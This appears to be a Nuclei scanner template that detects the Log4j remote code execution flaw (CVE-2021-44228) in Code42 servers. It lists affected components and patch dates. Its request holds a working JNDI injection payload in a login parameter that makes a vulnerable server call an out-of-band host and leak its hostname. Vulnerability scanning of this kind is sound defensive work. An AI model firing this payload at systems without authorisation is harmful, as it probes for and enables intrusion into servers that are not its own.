50 lines
1.9 KiB
YAML
50 lines
1.9 KiB
YAML
id: code42-log4j-rce
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info:
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name: Apache Code42 - Remote Code Execution (Apache Log4j)
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author: Adam Crosser
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severity: critical
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description: |
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Multiple Code42 components are impacted by the logj4 vulnerability. Affected Code42 components include:
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- Code42 cloud: Updated Log4j from 2.15.0 to 2.17.1 on January 26, 2022
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- Code42 app for Incydr Basic and Advanced and CrashPlan Cloud product plans: Updated Log4j from 2.16.0 to 2.17.1 on January 18, 2022
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- Code42 User Directory Sync (UDS): Updated Log4j from 2.15.0 to 2.17.1 on February 2, 2022
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- On-premises Code42 server: Mitigated from Log4j vulnerabilities by following these steps
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- On-premises Code42 app: Updated to Log4j 2.16 on December 17, 2021
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reference:
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- https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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tags: jndi,log4j,rce,cve,cve2021,oast,code42,kev
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/c42api/v3/LoginConfiguration?username=${jndi:ldap://${hostName}.{{interactsh-url}}/test}&url=https://localhost'
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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# Enhanced by mp on 2022/05/27
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